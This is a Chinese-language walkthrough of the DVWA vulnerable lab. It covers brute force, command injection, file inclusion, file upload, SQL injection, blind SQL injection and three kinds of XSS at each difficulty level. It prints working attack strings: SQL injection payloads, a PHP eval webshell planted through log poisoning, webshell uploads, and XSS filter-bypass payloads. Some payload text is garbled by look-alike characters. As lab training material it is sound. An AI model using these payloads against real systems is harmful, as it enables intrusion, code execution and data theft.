当前位置: 首页 > news >正文

DVWA综合靶场漏洞讲解

目录

综合靶场漏洞讲解

Brute Force

Low

Medium

High

Command Injection

Low

Medium

High

File Inclusion

Low,Medium,High

File Upload

Low

Medium

High

SQL Injection

Low

Medium

High

SQL Injection (Blind)

Low

Medium

High

XSS(DOM)

Low

Medium

High

XSS(Reflected)

Low

Medium

High

XSS(Store)

Low

Medium

High


综合靶场漏洞讲解

Brute Force

Low

  • 尝试登录

    image-20240806174844124

    抓包,发送至intruder模块

    image-20240806174928016

    配置参数

    image-20240806175008725

    image-20240806175020686

    开始攻击,找到对应结果

    image-20240806175039205

Medium

主要问题存在于请求发送时间间隔,不懂啊我靠

High

涉及到时间和token的知识,这我更不懂为什么了

Command Injection

image-20240806182527421

Low

第一个命令执行结果正确与否无所谓,利用一些符号使得正确执行第二个命令就好了

image-20240806182036048

Medium

同样的道理

image-20240806182613730

High

这个稍微不一样,因为在源代码处理过程中,对一些特殊符号做了过滤

image-20240806182748877

所以我们可以使用的他叔符号很有限,而且他这里不知道为什么 ; 是无法使用的

image-20240806182714622

File Inclusion

image-20240806183135754

Low,Medium,High

直接先访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=<?@eval($_POST['a']);?>

然后再访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=/opt/lampp/logs/access_log 其中POST参数为a=phpinfo();

High关卡由于设置了访问内容范围,所以我们需要使用PHP伪协议来访问本地文件系统 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=file:///opt/lampp/logs/access_log

File Upload

image-20240806215628134

Low

直接上传 shell.php 即可

Medium

burp抓包修改文件类型

High

上传图片马,利用文件包含漏洞 使用 file:// 伪协议,访问本地文件系统,并传入参数 a=phpinfo();

但是如果没有文件包含漏洞怎么办?

SQL Injection

image-20240807114320711

Low

payload如下:

我使用的是报错注入

 1' union select database(),updatexml(1,concat(0x7e,user(),0x7e),1)--+

image-20240807113111523

也可以,使用union查询,payload如下

1' union select 1,database() --+

image-20240807113716223

Medium

数字型post注入,payload如下

1 union select 1,database()

image-20240807113524256

High

union查询就可以,payload如下

1' union select 1,database()#

image-20240807114142653

这个题报错注入是不行的,因为只要有错,后台自定义错误,出现任何错误都是这样

image-20240807114222632

SQL Injection (Blind)

image-20240807114356449

Low

这是一道布尔盲注题目

通过试探,发现是字符型注入,并且可以投ing过 --+ 注释单引号,注意,这道题中#注释是不可取的

正确情况回显

image-20240807114717687

错误情况回显

image-20240807114735624

payload如下

1' and length(database())=4 --+

Medium

id=1 and 1=1正确回显,id=1 and 1=2错误回显,说明是数字型注入

所以payload如下

1 and length(database())=4

image-20240807115106046

High

通过试探,此乃字符型注入,单引号闭合, --+ 注释不可取,可使用 # 注释,

所以payload如下

1' and length(database())=4 #

image-20240807115427833

如果判断错误则如下

image-20240807115454095

XSS(DOM)

image-20240807115627525

Low

payload default=English<script>alert(1)</script>

image-20240807115712523

Medium

German</option></select><img src='x' onmouseover="alert(1)">

 <option value="German">Spanish</option>​<option value="German"></option></select><img src="x" οnerrοr="alert(1)">Spanish</option>​​<option value="German</option></select><img src='x' οnmοuseοver="alert(1)">">Spanish</option>​​<option value="German%3C/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20οnmοuseοver=%22alert(1)%22%3E">German</option>

此时利用Low级别的payload发现我们写入的值仅存在于value中,并不存在于<option>和<select> 两个标签之中,我们猜测 <img> 这个标签不允许存在于<option> 和 <select> 标签之中,于是我们可以闭合这些标签,我们先尝试闭合 <option>,本来 <script> 标签是可以存在的,但是这一关将 script 标签过滤掉了,于是就无法使用了,我们只能选择其他标签。

  • 先尝试闭合 <option> 标签

    image-20240807135533042

    ok,没效果,说明不是 <option> 标签限制了 img 的存在s

  • 尝试闭合 <select> 标签,payload </select><img src=1 onerror="alert(1)">

    image-20240807135706806

    有了,说明 <select> 标签中会限制 <img> 标签的出现

High

查看源代码

 <?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {​# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}}?> 

查看源代码我们可以看到,服务器通过GET接收到的参数必须是四个 case 中的选项,意味着我们就不能随意修改URL地址栏中的请求参数的值了,那怎么实现跨站脚本攻击呢

URL地址中我们可以通过添加锚点(#,也叫做页面定位符)来实现向前端页面传输,但锚点后面的内容并不会传输给后端服务器

payload English#<script>alert(1)</script> 然后重新刷新一下页面就好了(或执行一下)

image-20240807145028661

XSS(Reflected)

image-20240807145332333

Low

尝试输入admin 发现直接回显到页面上,那么直接输入 payload <script>alert(1)</script>

image-20240807145437885

Medium

尝试Low级别的payload,发现只回显了alert(1)

image-20240807145554287

说明<script>标签被过滤了,那我们换个标签 payload <img src=1 onerror="alert(1)"> 同样可以使用 <svg onload=alert(1)>

image-20240807145708451

High

<img src=1 onerror="alert(1)">

image-20240807145758926

XSS(Store)

image-20240807145922225

Low

尝试输入正确内容,发现页面完全回显,那么直接在内容中上 payload <script>alert(1)</script> ,用户名长度有限制

Medium

代码审计 可以发现 程序只对$name做了过滤,$message是进行了统一的SQL注入预防和HTML,PHP标签删除以及实体字符转换,而$name有过滤条件,那么我们就可以想办法绕过,而且还没有进行实体字符转换,ok开搞

 <?php​if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );​// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );​// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));​// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );​//mysql_close();}​?> 
  • F12修改name输入框长度

    image-20240807162923131

  • 输入大小写绕过或者双写绕过

    <ScRiPt>alert(/xss/)</ScRiPt> <scr<script>ipt>alert(/xss/)</script>

High

和 Medium 差不多,只不过这次 $name 采用的过滤方式是黑名单加正则匹配

修改 $name 输入宽度 ,payload:<img src=1 onerror="alert(/xss/)">

相关文章:

DVWA综合靶场漏洞讲解

目录 综合靶场漏洞讲解 Brute Force Low Medium High Command Injection Low Medium High File Inclusion Low,Medium,High File Upload Low Medium High SQL Injection Low Medium High SQL Injection (Blind) Low Medium High XSS&#xff08;DOM&am…...

实现Bezier样条曲线

1.给出n1 个控制点pk(xk,yk,zk),这里k可取值0-n,多项式函数公式如下 获取的单个点的代码 void zmBezier::getPoint(float u, double p[3]) {int n m_count - 1;double x 0, y 0, z 0;for(int k 0; k < n; k){x m_ctrlPoints[k][0] * BEZ_k_n(n, k, u);y m_ctrlPoin…...

MySQL中的EXPLAIN的详解

一、介绍 官网介绍&#xff1a; https://dev.mysql.com/doc/refman/5.7/en/explain-output.htmlhttps://dev.mysql.com/doc/refman/8.0/en/explain-output.htmlexplain&#xff08;执行计划&#xff09;&#xff0c;使用explain关键字可以模拟优化器执行sql查询语句&#xff…...

LearnOpenGL——SSAO学习笔记

LearnOpenGL——SSAO学习笔记 SSAO一、基本概念二、样本缓冲三、法向半球四、随机核心转动五、SSAO着色器六、环境遮蔽模糊七、应用SSAO遮蔽因子 SSAO 一、基本概念 环境光照是我们加入场景总体光照中的一个固定光照常量&#xff0c;它被用来模拟光的散射(Scattering)。散射应…...

[C语言]-基础知识点梳理-文件管理

前言 各位师傅们好&#xff0c;我是qmx_07&#xff0c;今天给大家讲解文件管理的相关知识&#xff0c;也就是常见的 读取&#xff0c;删除一类的操作 文件 为什么要使用文件&#xff1f; 程序的数据是存储在电脑的内存中&#xff0c;如果程序退出&#xff0c;内存回收&…...

pcdn闲置带宽被动收入必看教程。第五讲:光猫更换和基础设置

PCDN闲置带宽被动收入必看教程 —— 第五讲&#xff1a;光猫更换和基础设置 为了从闲置带宽中获得被动收入&#xff0c;高效的网络设备至关重要。运营商提供的光猫通常能满足日常家用需求&#xff0c;但对于PCDN应用来说&#xff0c;它们可能不足以提供所需的高性能和稳定性。…...

工业数据采集网关简介-天拓四方

随着工业4.0和物联网&#xff08;IoT&#xff09;技术的深入发展&#xff0c;工业数据采集网关作为连接现场设备与上层管理系统的关键节点&#xff0c;其在智能工厂中的作用愈发凸显。本文将深入探讨工业数据采集网关的功能、特点、应用场景及其实操性&#xff0c;以期为读者提…...

Java 调整字符串,验证码生成

package text7;public class ZiFanz {public static void main(String[] args) {//1.定义两个字符串String strA "abcde";String strB "deabc";//2.abcde->bcdea->cdeab->deabc旋转字符串//旋转并比较boolean result cheak(strA, strB);System…...

【专题】全球商用服务机器人市场研究(2023)报告合集PDF分享(附原数据表)

原文链接&#xff1a;https://tecdat.cn/?p37366 近年来&#xff0c;随着人工智能、物联网和自动化技术的不断进步&#xff0c;商用服务机器人行业迅速崛起&#xff0c;展现出广阔的发展前景。从最初的实验室研发到如今的规模化应用&#xff0c;商用服务机器人已逐渐成为各行…...

SQL UA注入 (injection 第十八关)

简介 SQL注入&#xff08;SQL Injection&#xff09;是一种常见的网络攻击方式&#xff0c;通过向SQL查询中插入恶意的SQL代码&#xff0c;攻击者可以操控数据库&#xff0c;SQL注入是一种代码注入攻击&#xff0c;其中攻击者将恶意的SQL代码插入到应用程序的输入字段中&a…...

初阶数据结构之计数排序

非比较排序 计数排序 计数排序⼜称为鸽巢原理&#xff0c;是对哈希直接定址法的变形应⽤。 操作步骤&#xff1a; 1&#xff09;统计相同元素出现次数 2&#xff09;根据统计的结果将序列回收到原来的序列中 #include "CountSort.h" void Count(int* arr, int n)…...

【开端】记一次诡异的接口排查过程

一、绪论 最近碰到这么一个情况&#xff0c;接口请求超时。前提是两台服务器间的网络是畅通的&#xff0c;端口也是通&#xff0c;应用代码也是通。意思是在应用上&#xff0c;接口没有任何报错&#xff0c;能正常返回数据。客户端到服务端接口也能通&#xff0c;但是接收不到服…...

jenkins最佳实践(二):Pipeline流水线部署springCloud微服务项目

各位小伙伴们大家好呀&#xff0c;我是小金&#xff0c;本篇文章我们将介绍如何使用Pipeline流水线部署我们自己的微服务项目&#xff0c;之前没怎么搞过部署相关的&#xff0c;以至于构建流水线的过程中中也遇到了很多自己以前没有考虑过的问题&#xff0c;特写此篇&#xff0…...

第2章 C语言基础知识

第2章 C语言基础知识 1.printf()函数 在控制台输出数据&#xff0c;需要使用输出函数&#xff0c;C语言常用的输出函数为printf()。 printf()函数为格式化输出函数&#xff0c;其功能是按照用户指定的格式将数据输出到屏幕上。 printf(“格式控制字符串”,[输出列表]); 格式控…...

鹭鹰优化算法SBOA优化RBF神经网络的扩散速度实现多数入多输出数据预测,可以更改数据集(MATLAB代码)

一、鹭鹰优化算法介绍 鹭鹰优化算法&#xff08;Secretary Bird Optimization Algorithm, SBOA&#xff09;是一种新型的元启发式算法&#xff0c;它于2024年4月由Youfa Fu等人提出&#xff0c;并发表在SCI人工智能二区顶刊《Artificial Intelligence Review》上。该算法的灵感…...

MySQL基础练习题48-连续出现的数字

目录 题目 准备数据 分析数据 题目 找出所有至少连续出现三次的数字。 准备数据 ## 创建库 create database db; use db;## 创建表 Create table If Not Exists Logs (id int, num int)## 向表中插入数据 Truncate table Logs insert into Logs (id, num) values (1, 1) i…...

webrtc学习笔记2

音视频采集和播放 打开摄像头并将画面显示到页面 1. 初始化button、video控件 2. 绑定“打开摄像头”响应事件onOpenCamera 3. 如果要打开摄像头则点击 “打开摄像头”按钮&#xff0c;以触发onOpenCamera事件的调用 4. 当触发onOpenCamera调用时 a. 设置约束条件&#xff0c…...

Simple RPC - 06 从零开始设计一个服务端(上)_注册中心的实现

文章目录 Pre核心内容服务端结构概述注册中心的实现1. 注册中心的架构2. 面向接口编程的设计3. 注册中心的接口设计4. SPI机制的应用 小结 Pre Simple RPC - 01 框架原理及总体架构初探 Simple RPC - 02 通用高性能序列化和反序列化设计与实现 Simple RPC - 03 借助Netty实现…...

【深度学习】基于Transformers的大模型推理框架

本文旨在介绍基于transformers的decoder-only语言模型的推理框架。与开源推理框架不同的是&#xff1a; 本框架没有利用额外的开源推理仓库&#xff0c;仅基于huggingface&#xff0c;transformers&#xff0c;pytorch等原生工具进行推理&#xff0c;适合新手学习大模型推理流…...

电脑监控怎样看回放视频?一键解锁电脑监控回放,守护安全不留死角!高效员工电脑监控,回放视频随时查!

你是否曾好奇那些键盘敲击背后的秘密&#xff1f;电脑监控不仅是守护企业安全的隐形盾牌&#xff0c;更是揭秘高效与合规的魔法镜&#xff01;一键解锁安企神监控回放&#xff0c;就像打开时间宝盒&#xff0c;让过去的工作瞬间跃然眼前。无论是精彩瞬间还是潜在风险&#xff0…...

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践

6月5日&#xff0c;2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席&#xff0c;并作《智能体在安全领域的应用实践》主题演讲&#xff0c;分享了在智能体在安全领域的突破性实践。他指出&#xff0c;百度通过将安全能力…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

C#中的CLR属性、依赖属性与附加属性

CLR属性的主要特征 封装性&#xff1a; 隐藏字段的实现细节 提供对字段的受控访问 访问控制&#xff1a; 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性&#xff1a; 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑&#xff1a; 可以…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...